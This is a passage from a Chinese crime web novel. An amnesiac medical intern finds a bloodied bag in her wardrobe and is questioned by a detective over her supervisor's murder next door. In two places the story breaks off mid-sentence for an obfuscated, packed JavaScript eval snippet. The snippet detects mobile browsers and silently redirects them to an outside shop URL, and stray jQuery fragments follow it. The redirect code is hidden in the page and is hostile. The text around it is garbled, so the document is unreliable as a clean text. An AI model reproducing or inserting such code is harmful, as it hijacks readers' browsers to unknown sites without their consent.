《凶案嫌疑人,但失忆了[刑侦]》 1. 凶医 早上,门外的尖叫声冰水一样泼进来,随即是嗡嗡议潮。南钗睁开眼睛。手机屏幕映出一张年轻陌生的脸,苹果一样饱满,眉头失水般微皱,像是做了个已被忘掉的噩梦。 从逻辑判断,这张脸应该是她自己。 手机锁屏带文字:你叫南钗,你患有失忆症,请查看电子笔记,确认今日生存环境。 四周是间老屋,床头旧木裂纹,一张贴满便利贴的巨大写字台,黄漆窗棂和灰花石窗台露出刮面剥角的磨损,大约是厕所的方向传来滴水声。防盗门外人声嘈杂,老居民楼不隔音,外头错杂脚步声一清二楚。 十分钟后,电子日记熄灭,南钗坐在床上陷入沉思。 医学生,实习于医大附二院,轮转至心血管内科。成绩优异,昨日刚被陈副主任咆哮威胁“滚蛋”。 距离白班开始还有一小时。 南钗跳起来穿衣。 窗外十一月天光惨淡,清洁工弯腰扫落叶,遛狗晨练人三三两。他们不约而同地绕开楼下。那里停着两辆警车,还有一辆救护车样式的厢车在往里倒。 发生什么事了吗? 南钗转身打开衣柜,老木门凄厉低鸣一声。她皱皱鼻子,一股锈腥味悄然升腾,混着洗衣粉的清香,像尝一道余味怪异的佳肴。 衣架分拨,一包深蓝色东西滚落而出,砸在南钗脚边。 门外走廊的脚步声越来越乱,南钗蹲下戳了下那包东西,沙沙轻响,里面不是活物,可能是布料,但很有分量。刚刚落地时发出“嘭”地一声。 南钗准备解塑料袋的手停住了。 那股怪腥味彻底清晰,毫无疑问来源于沉闷的深蓝塑料袋。南钗拉下衣袖按压塑料袋,其内容物透出本色,外层是件印花可疑的衬衫,浅色处布料轻薄,深色处则异常厚实,硬板得像结了壳痂。 内层则有尖锐物刺出轮廓,塑料袋被捅破,露出一点寒芒。 怪腥味,就是血红蛋白干涸氧化的气味。 外面的人还在议论:“看见了吗……死人了……有人被杀了……” 南钗双耳嗡嗡响,倏然发觉塑料袋下面压着一角黄纸。 隔衣袖翻过袋底,有张便利贴,上面写着字。 藏起来,别报警。 南钗掏出手机,匆乱字迹和锁屏文字出自一人之手。和书桌上贴得到处都是的便利贴也分毫不差。 是她写的。 她写这个干嘛? 什么叫“藏起来,别报警”? 呼吸声在室内清晰可闻,外头的人群还在议论“死”、“谋杀”一类的字眼。细密的冷汗伴随着一个微不可察的危险念头,悄然攥住了南钗。 点亮电子日记调取行程,昨天医院白班,上午查房开会挨骂,下午写病历,晚上回家看书洗澡睡觉,没有任何异常。 谋杀别人的确不太可能写进日记,但为什么昨天的她只留下一张潦草的便利贴?是怕自己不被抓住吗。 南钗压下未出口的咒骂,噌地蹿到猫眼往外看,她是走廊最深的一户,正对面房门紧闭着,旁边侧墙透着楼梯方向的晨光,映出黑影绰绰大小不一,有几条影的头部是斜顶檐帽的形状,还有戴帽人踩着台阶快步浮上来的影子。 门外有人,或近或远,且都在朝她这边来。 八米,六米,四米…… 来不及想太多,南钗垫着衣袖抄起蓝塑料袋,从衣柜抽出两条长围巾,先是奔到卧室外的阳台,西方天色残星褪尽,楼下聚起远远看热闹的人群,警服交错,还有人抬头看上来。 走廊的动静越来越近,有模糊的声音问:“是这家吧?” 南钗立即转身,边跑边将围巾系起来,一错身闪进储物室,这是间东向的小房间,窗户之外是刚拆迁过的荒地废墟,没有人。 她推开窗户,身体外倾,秋冬之交的冷空气是她和十几米之下地面间唯一的阻隔,那水泥色的格子棋盘略显渺小,假如有人落子,难免摔个头血腿断。 但好安静,好安全,警车声被隔绝在楼体另一面。 “咚!咚!咚!”敲门声如钝器落在背后。 “开门,警察。”一个男声这样喊道。 # 岑逆今早心情并不好。 早上六点四十分接到报案,恶性入室杀人案件,直接移交市局,或者说,交给了刚下高铁不到六小时的岑逆。他被一个电话从被窝里挖出,揣着一脑袋棉花赶了过来。 车开到楼下时心里更一沉,这种长廊排屋似的多层老楼,年头比岑逆岁数都大,除却单元门口的一盏监控和一溜儿昏暗的声控灯外,少有现代设备支持。 果然,队里小贾跑过来说:“副队,楼道里没监控,楼侧的俩也都坏了。物业值班的就是点心一个,一推二五六,啥都不知道。” 岑逆派小贾在楼下盯着,闭了闭通红的眼睛,呵欠咽成一腔郁气,迈腿顺着楼梯两阶一跨,正巧遇见派出所民警下楼。 “死者男的,中年人大概四十多岁,应该是昨晚一个人死在屋里的。今早楼上住户下楼买早点就看他家门没关,回来发现还开着,走过去一瞧,人光着身子死地上了。” 三楼右侧倒数第二扇门开着,一进屋就是尖锐的血腥味扑过来,灰尘在窗光下飞旋。男尸背朝天倒伏于地,上半身赤裸苍白,侧脸埋在一大滩凝血中,法医正小心地翻动尸体。 岑逆穿上鞋套手套,蹲在尸体旁,尸斑在肋侧和腿外侧凝结成紫红片状。他伸手轻按,冷的,模糊的边缘短暂褪色,松开又变回紫红。 “全身尸僵,角膜出现白点。”法医头也不抬,“推断死亡时间约在凌晨一点到两点。” “死因呢?”他绕过男尸身后翻倒的方凳,凳角浸染血迹,技术员举着相机对准一部碎屏手机,快门声脆得让人心脏不适。 “胸前一处锐器刺创,刺破心包。创口呈有间隙的对称双刃形态,推断是把非常锋利的剪刀。可能还是医用级的。”法医两指虚划过尸体脑后,“颅骨一处凹陷性骨折,推断脑后遭受钝器打击,喏,看那把凳子就能猜到了。” 痕检小心地说了句:“岑副队,现场没找到剪刀类的凶器。也没有强行入室的痕迹。” 岑逆打了个喷嚏,看见卧室阳台的西向窗户大敞四开,冷风呼呼灌进来。他立起夹克衫领子,大步迈过推拉门,复而在开放式阳台的半墙边蹲下,手指抹起墙角快被吹散的一小撮灰渣。 “人可能从阳台进来过。或者出去过。”半墙被清理非常干净,但毕竟年久,被踩踏过后碎屑还是落了一点,“这两天风大,灰屑没被全部吹散,说明是新掉下来的。” 岑逆直起身,虚撑在半墙上往下看,楼下小贾正盘查进出楼的居民。老楼层间距高,如果踩着一二楼的阳台和防盗窗攀登,一般人还真做不到。 假如不是上下,是左右呢? 他目光移向半墙本身,顺着它缓步慢行,墙头什么污渍都有,雨水灰尘甚至是鸟粪留下的痕迹,都在墙上留了擦不掉的印子,什么都看不出来。 “没准凶手就是敲门进来的。也没准凶手也穿了鞋套。”痕检跟在后面,跨过一盆干枯的仙人掌。 岑逆突然刹住脚步,视线落在旁边一个空的金属浇水壶上,伸手一挪,不费吹灰之力就将它与下面锈迹斑斑的铁架子分开来。怪事,壶和架子都锈了,怎么没锈到一块呢? 就在架子中间,有一块不对劲的微微凹陷,金属断层新鲜得很。 “拆。”岑逆对拍完照的痕检说。 和墙面几乎融为一体的花架被拆掉,下面露出一大片被锈色染透的墙面,墙皮隐约可见一道印痕,形状模糊。岑逆点亮手电,将墙皮痕迹和花架凹陷对照,蹙起眉头。 鞋印。 凹痕嵌入墙皮之中,前窄后宽,是被人蹬踩出来的。如果是撬窗翻墙的蟊贼的攀爬痕迹,三面阳台墙选哪面都行,没必要非得跨这道破花盆堆积的南墙。 除非……是从隔壁阳台翻进来的。 他站起来目测距离,鞋印在南墙上,南面只一户人家,也是开放式阳台,距离这只有两米五间距。 隔壁阳台吊晒着卫衣和休闲裤,女款,在风里微微晃荡,阳台里侧的房间有个影子一闪而过,刹那间隐入室内。 社区负责人姗姗来迟,岑逆拦住被抬走的担架,朝人掀了下遮布,眼疾手快扶住差点跌跤的负责人,后者捂着胸口说:“出事这户常年空着,户主两口子有钱,早些年买新房搬走了。尸体就是他家的男人。不知道为什么昨晚回来了。” 几名警员堵住走廊最末一扇门侧边,岑逆的声音轻而快速,“隔壁住的什么人?” “应该是个女租户。二十来岁大学生。叫南什么来着?哦,南钗!”负责人翻动记录簿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026830|194460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哪个大学。” “我听人说过一嘴,人家省医大,名牌大学。现在好像在医院实习吧。搬来时间短,我就见过几次,人文文静静的,感觉不像坏人。” 不远处警员几乎将南钗门口围成一道黑墙,负责人声音越来越小。不用岑逆招呼,他就一溜烟跑远了。岑逆穿过人墙,站到门扉正前方。保持后退半步的姿势,敲响了那扇门。 “开门,警察。” 猫眼通透,门内安静极了,听不到一丝动静。岑逆又叫了两遍,还是没人应门。 岑逆拿起对讲,压低嗓音:“发现嫌疑人。小贾,注意楼体周围,目标是一名二十多岁的年轻女性,身高一六八左右。张儿,你拿工具,带两个能干的到302案发现场西阳台,等我指令随时从阳台进入301。” 走廊里的黑墙统一后撤稍许,寂静在空气中盘旋,岑逆打了个手势,正当预备踹门突入时,老门发出“咯吱”一声长颤音,一道缝开了。队员抬起的腿停在半空中。 门后是个手无寸铁的女生,卫衣长袖下露出的双手干干净净,握了把粘毛滚轮。裤边穿的腰带还没系上,腰带扣悬在半空晃来晃去。显然刚在换衣服。“请问有……事吗?” “你是南钗?”岑逆越过南钗肩膀看过去,老屋整洁得出奇,没开窗,也没什么怪异的气味或迹象。南钗点点头,岑逆接着说:“你家隔壁发生凶杀案件,调查需要,请你跟我们走一趟。” # 询问室的桌椅很硬,白墙吸收掉所有温度,南钗多等了二十分钟。岑逆进来时,她放下因无聊而搓得发皱的纸杯。手机被收走保管,空气里潜伏着录音录像设备的嗡嗡暗鸣。 “姓名。” “南钗。” “年龄。” “二十三。” 记录员的打字声随岑逆的停顿而一静,岑逆直望过来,南钗无可遮蔽地暴露在他的目光中。 “知道为什么叫你来吗?” “听说昨晚楼里死了人,你们在抓凶手。” “听谁说的。” “没具体听谁说,乌泱泱都是警察,肯定出事了。电视剧里都这么演。” 岑逆的表情在强光下模糊难辨,他眼睛一眯,语气更加诡秘,“那你怎么敢说案发时间正好是昨晚?不是下午也不是早上。你为什么确定?” “昨晚楼里断电了,就夜间十点到凌晨一点左右。我想,如果出事也就是那会儿了。”南钗捏住杯口的尖角,指尖微微濡湿。 “那段时间你在哪里?做什么?” “十点洗澡,十一点上床,十一点半睡觉。” “十一点半睡的觉,怎么会知道凌晨一点来电?” 南钗垂下目光,手揣进袖子,掩去微不可察的颤抖,“停电时间是日记里写的。手机一直插着线,后台有电量记录,能看出几点来电。” “你有写日记的习惯,和你的失忆症有关系吧。你每天早上醒来都会失去所有记忆吗?这怎么当医生?” 他们果然查到这一步了,“是这样的。专业知识和技术操作我能记住,我主要记不住人,以及和人有关的事。” “世界上的事都和人有关吧。”岑逆转向下一个话题,但他的口吻一点都不像教育咨询师,“你今年在省医大读临床五年级,目前实习于医大附二院,你很聪明,在校四年和前两次考评成绩都是断层第一。现在你轮转到心血管内科,和同事们关系好吗?” 南钗谨慎回答:“就今天的我而言,应该还行。” 岑逆盯着南钗的表情,足足过了好几秒,才道:“科室层面对你争议不小。你和别人发生过矛盾,对方不愿意给你签出科考评,因为你的特殊情况,坚持申请将你退回学校,甚至侮辱你有反社会倾向。你恨对方吗?” “我不明白这和案件有什么关系。”南钗皱起眉头。 岑逆的声音犹如一道被骤然拉开的铁门,“据我们了解,那个想让你滚蛋的人,就是心内的副主任。他叫陈扫天。很巧,你们是邻居,他就住在你隔壁。你不知道?” 南钗的胸骨突然疼了一下,心脏在腔内砰砰乱跳,连带着太阳穴一道奔突。她好像想明白了一些事,又转瞬陷入更大的漩涡。 岑逆微倾向前,一字一句:“昨晚被人杀死在302的,就是陈扫天副主任。你有什么想解释的吗?” 2. 凶医 被岑逆的双眼盯住不是什么愉快的体验,南钗第一次看清对方的眼睛,漆黑圆珠和每一根红血丝都对准她,那么笃定,仿佛已经知晓她的一切秘密。 不,她不能被吓住。也不能急于说话。接下来的每一句话都得先咀嚼明白。 先前对陈扫天的记录并未提及他住在302,暂认它就是一条未知信息,而不是被抹去过的。现在南钗宛如孤身盲行于一片空茫白雪地,她只有她自己,但昨天的她没理由给今天的她挖坑。每天记忆会清空是她们的共识。 所以,陈扫天昨晚出现在老楼,无论她是否曾经预判到,那必然是个偶发事件。是岑逆把它假设成了她应该知情的常识。 南钗向后一靠,“我不知道他住在我隔壁。日记里没写过这事。隔壁一直是空房子。” “昨晚九点到今天凌晨两点,这五个小时你具体做了什么?越详细越好,无论是你日记里写的还是自己记得的,再告诉我一遍。你离开过房间吗?” “我昨天晚上六点下班到家,没再出过门。回家吃了一碗泡面,然后看书到将近十点去洗澡,刚洗上就停电了。” 岑逆打断她的话,“没出去看一眼电闸是不是跳了?” “没去。”南钗按照日记里的内容说:“我泡在浴缸里,不赶快洗完水就凉了。所以我没动。洗完澡我应该喝了一袋中药,喝完刷牙上床,可能玩了一会手机就睡觉了,睡着之前记录是十一点半。” “就这些,你确定没记别的?细枝末节,一个都别落下。你可以看着手机说,我让他们拿来。” “不用,我记性很好,就这些。” “喝什么中药?” “我以前摔骨折过,天变冷的时候会不舒服,喝点药调理一下。” “昨晚睡得好吗。” “早起脑袋发沉,我猜一般。” 岑逆合上档案本,态度稍微缓和,抬头看她,“如你所说,你一直待在房间里,没出去过,也不知道陈扫天就在你隔壁。那你昨晚没睡踏实,有没有听到奇怪的声音?还是只有风,昨夜风特别大。” “我记不住昨晚风大不大,你知道,我有失忆症。”南钗指甲在纸杯口留下掐痕。 她看见岑逆刚回暖的眼神瞬间撤去虚假的温度,表情复而锐利起来。他果然在试,他一开始就怀疑她的失忆不是真的。 “好,失忆症。”岑逆重复这三个字,目视着她按了下指关节,情绪难辨,“那我们聊点今天正在发生的事。你家的搜查令已经批下来,此时此刻,警方正在社区人员的见证下展开侦查,放心,遵守程序全程录像。如果你私藏有什么案件相关的物品,最好立刻告诉我,这是最后一次主动机会。” 南钗眉头跳了下,“你们搜查的依据是什么?” “你应该完全清楚啊。”岑逆两根手指轻叩桌面,“凶手作案下手干脆,陈副主任后脑勺都被砸变形了,死了还被扒走衣裳。没点深仇大恨干不出来这种事。” 砸?南钗怔了怔,想起那只深蓝色塑料袋,凶器不是锐器吗? 她压住侥幸的激动,露出一丝轻蔑顺着驳下去:“你大可不必怀疑我。先不说我一个大部分时间在学校和医院的女性是否有力气砸死壮年男性,如果你们有法医,应该能从死者脑后创口的角度规模反推出真凶的身高体型,陈副主任身高一米八五以上,我跳起来打他后脑勺吗?” 岑逆脸部肌肉的走势更耐人寻味了,“谁告诉你,陈副主任是站着被人砸死的?” 现场尸检判断陈扫天脑后出血量远小于胸前,陈扫天枕部受打击发生在心脏被刺之后,那个瞬间他的姿态是很随机的。凳子的长度足以弥补身高差距,反而起到加强力臂的作用。 他紧密观察南钗,她在漫长的寂静后终于按捺不住,再次强调:“而且陈副主任体重二百来斤,以我的体型,翻动陈主任脱他的上衣难免磕蹭,他的创口和身上有痕迹吗?” 岑逆停下搓动右手指背的左拇指。 他仿佛嗅到空气分泌出危险的真相,缓缓靠近桌沿,随即站起,“你犯错了。” “我刚刚只说陈扫天被扒了衣服,你却默认被脱掉的是上衣。” 南钗听不懂似的回望过去,手中依然转动那团纸杯。岑逆喝了口水,从杯边抬起视线刺过来,“不要负隅顽抗了。你现在实话实说,和我替你说出来,不是一个性质。” “我真的不明白你在说什么。”南钗表情有些挂不住,低头叹气,“你说他衣服被人扒了,我就默认都被扒了,只拣其中比较难穿脱的上衣说,不算错吧?” 水杯被顿出一声响,岑逆眉锁阴云,“凶手与陈扫天认识,有不可化解的仇恨,并具备作案的时间空间,致命伤形态表明凶手具备解剖知识和精良的操作手段,最重要的是……302阳台南墙有一枚朝向你家阳台的鞋印。听懂了吗?拖延时间只对你一个人没好处。” 南钗忽然笑了,似乎觉得他的话十分荒谬,她努力展平嘴角,“请问警官,你到底有什么证据?到现在为止都是推理游戏而已。我是来配合调查的,不是来角色扮演的。” 南钗直直回视岑逆,如同看不见对方面沉如铁,然而桌下她悄然松开交握的双手,掌心一层冷汗怎么也干不透,一口唾沫从喉口直接咽到心底。 她做到了。 猎人在即将追到猎物时,往往会一股脑地使出杀手锏,以确保彻底按死。 她原本面对的是一张白板,现在她骗到了第一块拼图。 警方锁定她的神秘线索是,陈扫天家阳台南墙有一枚脚印。两家阳台间距超过两米,空中跨越需要工具,而她在家里没见到梯子。这是他们怀疑她却无法定罪的原因之一。 她在蓝塑料袋里见过凶器,是锐器,摸形状可能是手术剪。所以陈扫天身上至少有两处创口,一刺一砸,塑料袋里的东西的确曾经用在他身上。刚才岑逆故意没提刺的事儿,把话往单一砸击致死的陷阱里引,等她自己上钩来着。 还有,杀害陈扫天的真凶具备解剖知识和技能,很可能有医疗、屠宰甚至美术背景,结合陈扫天的职业,医疗的可能性最大。如果不是她,就是陈扫天真正意义上的仇人,和医院有关。 她确信没有露出任何漏洞,他们没有证据。只要那蓝塑料袋不出纰漏,她就能全须全尾地走出这个房间。 只要它不出纰漏。 她就不可能被击溃防线。 岑逆猛然双肩一震,静视她半晌,身上所有的情绪都消失了,包括一闪而逝的怒意和若隐若现的疲惫。他像一潭凉水似的,重新以无波姿态靠上椅背,对她微笑,“很聪明,但没关系。你家里、整栋楼、整个小区的垃圾桶和小区后的工地废墟,现在都有人在搜索。他们很快就会得出答案。” 南钗呼吸断了半拍,又很快续上气流,回了个笑:“清者自清。” “吊顶,抽油烟机,地板,马桶水箱,窗帘盒,垃圾桶,沙发内胆,热水器,空调……”岑逆报出一个个位置,每说一个词都在看她的脸色,闲适道:“这些地方我们都查惯了,还有些你想不到的,干装修的都不会这么细。” 南钗放松面部,用尽全力才不让岑逆直接从她脸上读取到反应,如果不是冒险,她恨不得现在闭眼睡上三十秒。只是不能这么做罢了。 只要失去意识,再醒来时她就会忘记嫌疑,忘记心理压力,以及忘记那只深蓝塑料袋被她藏在哪。 现在他们图穷匕见,双方信息耗竭,岑逆唯一的胜负手在找到它,她唯一的胜负手在藏好它。南钗觉得不太公平,他赢她就被碾死,她赢也只是开启下一回合罢了。 岑逆意味深长地说:“小区和工地会出动警犬,而楼体外立面我们也不会放过,空调外机是重中之重。” 南钗趴在桌上,单手举起皱巴巴的纸杯:“谢谢你的刑侦科普,听不太懂。麻烦给我加杯水,要凉的。” 岑逆刚起身,询问室门就被大力推开,闯进来一个喘着气的小警员,叫道:“副队!东西找到了!就在……”小警员视线不由自主落在南钗身上。 室内的几人同时被按了暂停键般, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026831|194460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岑逆慑他一眼,沉声截断,“出去说。” 南钗突然感到纸杯特别扎手,对面的记录员不再出声了,也没给她倒水。她听不清墙外两人在说什么,过去足足十几分钟,岑逆都没有回来。 一种不安预感盘旋在心头,像预备吃掉将死之人的秃鹫。 门再次打开,岑逆一个人走进来,表情还是淡淡的,但整个人气定神闲了不少。他重新坐下。 “南小姐。”岑逆凝望过来,“我们搜索现场周围发现了一些东西,很可能和你有关。还需要我继续说下去么?给你一个解释的机会。” 终于,南钗无比清晰地觉察了唾液腺的位置,它们源源不断地分泌恼人的唾液,让她的牙关无法闭合,有什么东西想从她的喉咙里钻出来…… 控制住,这是心理战,她不断告诉自己。 “我该配合的都配合了。”南钗使劲闭了下眼睛,将那只不存在于此的蓝塑料袋挤走,“我对陈副主任没有仇恨,不知道他昨晚在我隔壁,我一整夜没有出去过,这些话都是真的。你们不应该找个失忆症患者来提供信息。” 岑逆缓缓道:“我们找到一把医用级别的剪刀。” 南钗支撑住身体,“那不代表和我有关系。” “它被放置在意想不到的地方,你放的。” “你凭什么确定。” “上面有你的指纹。” “我对你说的事没有任何印象。” 至此,岑逆的声线竟然变得悠扬柔和,像和老友谈天一样,轻声问:“我问过你的病历……从病理和法律上,你不一定具备完全责任能力,你应该懂我的话。现在看在你情有可原的份上,我再问你一遍,你有什么想主动交代的吗?” 沉默在南钗眼皮下面流淌,或许过了很久,她抬起头,回答道:“没有。我什么都没做过。” 问询室没有明窗,但她却感到一阵骤风击过玻璃,岑逆还是那张脸,可其内的意味彻底变了。他牢牢坐在自己的椅子上,没有发怒,也没有咆哮。 他甚至保持了相当的沉稳,极其缓慢地点了两下头,双手一碰桌,“好。” “请解释,为什么你的针线盒里,会有一把型号非常古早、生产于上个世纪的国产直尖医用剪?” 岑逆嘴有点干,没去拧杯子,他瞧着那个同样缺乏水分的嫌疑人。找到的剪刀不是凶器那把,有点遗憾,但收藏医用剪刀的爱好同样说明问题。 “我现在忘了。”南钗下意识回答,“可能是我母亲留下的吧。她生前也是医生。” 岑逆表面上接受了这个回答,抛出最后一个问题:“据我们了解,陈副主任不通过你出科考评的原因,除了你的失忆症外,还有一条是他控诉你私下跟踪过他。你怎么说?” “没印象。”南钗抿住嘴唇,“我跟踪他干嘛?” “对啊,你跟踪他干嘛。”岑逆没过多纠缠,“这个问题我们会查的。如果你想起来,最好主动说一声。” 他站起来,一瞬间所有倦意都涌上来似的,但眼睛仍盯着南钗,“核对笔录,签个字,你可以回去了,后续调查需要你继续配合。近期不要离开本市。我们随时会再联系你。” 南钗默不作声,任由凉凉黏黏的印泥舐过指腹,每一页都被捺上红彤彤的指印。代表法律层面笔录生效。之前莽撞的年轻警员帮她取来个人物品。 走出公安局时,正是午后。当空一轮耀光被晦的太阳,隐隐悬在云流之间,沁着渺淡的红,像被揉成一团的洗涤过的血衣,晾晒在这人世间的天顶。 同样望着这轮晦日的还有岑逆,他站在窗后,注意到南钗离开大院的背影,终于打出一个长长的呵欠,打开手机,自两小时前开始积累了一列小贾的未接来电。他回拨过去。 “哎哟副队,要不是他们说你在问询,我还以为你睡过去……” “少废话。让你安排的就位了吗?” “早就位了。”小贾圆熟道:“在案发现场周围布控,但凡有可疑人员或者301有动作,立马就能控制!” 3. 凶医 南钗没有回家,进了离市局最近的地铁口,去医院上班。 医大附二院下午进出的人车流众多,巨幅玻璃幕墙忠实地反映着一切,将南钗身上黑大衣的褶皱照得纤毫毕现。她直走进人群,面色平静,乘电梯时无人注意她,等踏入心血管内科,又是另一番景象。她一进入就被值班护士吞吞吐吐叫住,“那个,你不有事请假了吗?” “事办完了。来上班。” 护士松了口气,手还是不敢碰她,看一眼周围支棱起来的几双耳朵,小声说:“哦,那你快去吧。” 南钗走过去的一路上,目光所及之处,人人都立刻忙碌起来。等她推开办公室门,已挂载了满背的视线。她的到来也扰动了饮水机旁的蹲影,对方站起,是位三十多岁的素马尾辫女性。 “李老师,下午好。”南钗扫过对方胸牌,是她的带教医生。 李医生端杯追到南钗的电脑前,手指点了下她额头,凶了句,“叫我什么?”然后才是关切,“小南……你没事吧。今天上午警察来科里,说……说老陈出事了,还问了你的问题,和主任护士长聊了半天呢。” 南钗敲着病历,终于一笑,“师姐。我上午就是配合调查,结束得早就来了,年底多干点活呗。” “行,你在这吧。能别出去就别出去。”李医生嘱咐道:“老陈家属来科里了,领导陪着呢,现在别见面的好。我去看一眼十六床。你待着别动啊。”说完走了。 听见关门声,办公室只剩一人。南钗手指动了动,屏幕立刻筛出近期陈扫天经手过的病例。陈扫天脾性一般,这个主任职称副主任职位却不是白混的,专抓危急重症,一个月内五例射频导管消融,两例ICD除颤器植入,极其成功。不,不是这些。 陈扫天那一手漂亮到不足以被患者和家属报复。他也少有长期轻症患者。如果他有仇家,不会在医院里联络。 走廊外传来一连串脚步声,南钗蹑步到门后,侧耳倾听。走在前头的中年女声则沙哑刺耳,“真的,老陈最近总不知去向,孩子都几次丢在学校不去接,工资也不拿回家了。他在科室和医院里真的没有……吗?求求你跟我说句实话。是不是哪个小护士……” 应该是科主任的声音极力相劝,“弟妹,警方还在调查,你别乱想,先照顾好家里。” 女声扬了两度,“那钱都哪去了?我们孤儿寡母的怎么照顾。还有,那个跟他有矛盾的小姑娘今天在吗?我要找她问问……呜……” 科主任说:“请假了。你先回去,先回啊……” 声音远去了,南钗正凝思时,办公室门突然被推开,险些碰到她的鼻子。李医生奇怪:“干嘛呢?” “想上厕所,听到声音就没出去。十六床那个冠脉介入患者指征还好?” 她真的去了趟卫生间,陈副主任的办公室已被搬空,屉柜被封条粘住。医院是找不到其他线索了。整个下午都在整理病历中度过,中途科主任叫她过去,和蔼但直接说:“小南,我给你批几天假吧。你在心内该完成的学习已经提前完成了。最近不太平,出于多方面原因考虑,你先在家歇一周,别来医院了。” 说完还补了句,“本来准备打电话告诉你的,没想到你下午自己来了。年轻人勤恳工作是好事,你放心,出科考评的事我定了,肯定没问题。” 南钗下班和李医生一道走进电梯,李医生说:“我开车送你回去吧。路上还能给你说个八卦,听不听?” “什么八卦。”南钗凑过去。 李医生撇撇嘴,“老陈的事,也不是什么秘密。老陈说不准外头有情人。科里都知道。是之前的事了。老陈老婆半夜打电话到科里找他,说联系不上,两回都让我遇上了。” “有什么不对吗?” 李医生按下电梯键,表情皱了,“那两晚老陈不在医院。他压根不是夜班,骗他老婆自己值夜班了!最后一回谎没圆上,老陈老婆就闹开了。老陈挂不住脸说离就离,他老婆气疯了要报警查开房记录告他嫖`娼。你猜老陈怎么服软的?他说自己工作压力大心理出问题,一个人回他家空着的老房子睡的。还真糊弄过去了。” # 岑逆枕在办公椅上,翻动陈扫天的资料。和每个三甲医院的科室领导的履历差不多,好位子好房子好孩子,中产精英气息浓厚。只是末尾提到一句,疑似存在不明社会关系。他给这句画了个圈。 “南钗现在在哪呢?”他问。 小贾捏着手机,“您是猜错了,还让探组跟她后面去找凶器呢。人家没回家,一出警局就去医院上班了。这心理素质。” “没事,总会回去的。让他们耐心蹲住啊。”岑逆嘱咐道:“当夜小区街道摄像头没拍到她,凶器很可能没被处理,还藏在老楼附近甚至是楼里。只要她在楼前楼后有动作,马上按住。” “明白。” 岑逆拢了拢衣服,合上眼睛,“行,我睡一会。对了,你去把南钗家里人的资料调出来。尤其是南钗的父母。查查她妈生前和陈扫天有没有交集的可能。” # 南钗下班回家会经过一片巷子。 窄墙之间,油烟管道送来周围人家炒菜的声味,隐隐约约还有狗吠声。虽只有她一人,但也不可怕。穿过废墟侧面的这片胡同群就是小区。路过一处垒着旧啤酒箱的巷口时,南钗听见一声清晰的猫叫。 “喵呜——” 猫的声音从巷道里面传来,那里有一处金属排水管,发出咣咣声,像是卡住了。 南钗往里走两步,发现巷内积水严重,水洼足足占了巷道的一半,至少两米多,跨是跨不过去的,也没有任何砖石能当汀桥。 “喵呜——”猫又叫了一声。 处理好一切,回到老楼是半小时后了。南钗拎着附近小店打包的牛肉粉丝汤和韭菜馅饼,冒着天色黝黑,信步往单元门走去。 楼下果不其然多了辆眼生的七座两厢车,车很不起眼,看起来很久没洗了,悄无声息地混在一排私家车里。贴着反光膜的车窗开了道缝,里头人影随她走过来有了动作,带出淡淡的方便面味。 南钗昂头走过去,路过车门恰好停步,提起饭袋细看半天,数清共有两枚馅饼,又打开牛肉汤盖子细瞧一番,和汤上飘的香菜油花轮流照了个面,共用一分多钟。香味弥散得远了,她才收了东西走向单元门。留下原地那辆微微颤动的七座车。 进了楼道,南钗终于咧开嘴,一边爬楼一边乐,但爬到三楼时笑容消失了。 三楼声控灯亮着,走廊最深处站着个人影,正幽幽地看她。 那女人约莫四十来岁,长相比年纪显小,气质却比年纪显老。额前刘海利落,伶仃的细脖子卷在羊绒高领里,臂上挎了只皮包,密匝匝的纸沓支出包口,幅宽像是学校的试卷。 “你去哪了?出了这么大事,手机也打不通。”女人低沉问道。 南钗看了她两秒,认出来了。却先掏手机,看见果然没电关了。这才抬头说:“苏老师。” 她越过苏老师开门进屋,放下饭袋子,回身找了双一次性拖鞋。 老屋里被警察搜过一遍,倒不算太凌乱,只是很多东西错了位。苏老师进门没脱外套,打量过南钗贴满便利贴的书桌,这才抱起胳膊,“你刚才叫我什么?” “小姨。”南钗一天之内听了两次这种问题。她挡开苏老师视线,坐在书桌前,自然道:“我买了汤和馅饼,一起吃?” 苏老师皱了下眉头,“今天警察来找我,问你的事。你在科室里被被害人欺负过,怎么不告诉我?” 南钗喝了口汤,“忘了。没事儿,他现在欺负不了任何人了。” “这事和你没关系吧?你……没隐瞒什么事?”大约屋子不整洁得让苏老师心烦,她随手拾叠起来,侧眼等着南钗的回应。 南钗笑了笑:“我不知道。”她点点自己的太阳穴,“您忘了,我这里有问题,记不住。” “别跟我这个态度。”苏老师不软不硬地说,拨开衣架子,将一叠长围巾放进柜里,她就站在敞开的衣柜前,目光凝视里面良久,然后合上柜门,老木柜又嘎吱鸣叫一声。 苏老师转过身,用一种幽然的语气说:“不管你承认与否,南钗。我们都是彼此在世界上最后的亲人了。” 南钗吃饭的动作没停,嚼着半口馅饼,含糊不清,“对不起,您也知道,我真记不住任何人。可能我就跟别人说的那样,本性就是只养不熟的白眼狼。” 苏老师走了。 南钗吃完饭去放洗澡水,老旧的卫生间里摆着只雪白大浴缸,搬进来后添置的。最后一袋中药在昨天喝完了,腿部皮肉之内似有似无发痒,她踢踢腿,往床上一躺,听着水流哗哗作响,眯眼睛盯着衣柜。 警方没找到那只蓝塑料袋,这是确定的。她现在绝不能去确认它的安全。 只要她不看,它就最安全。 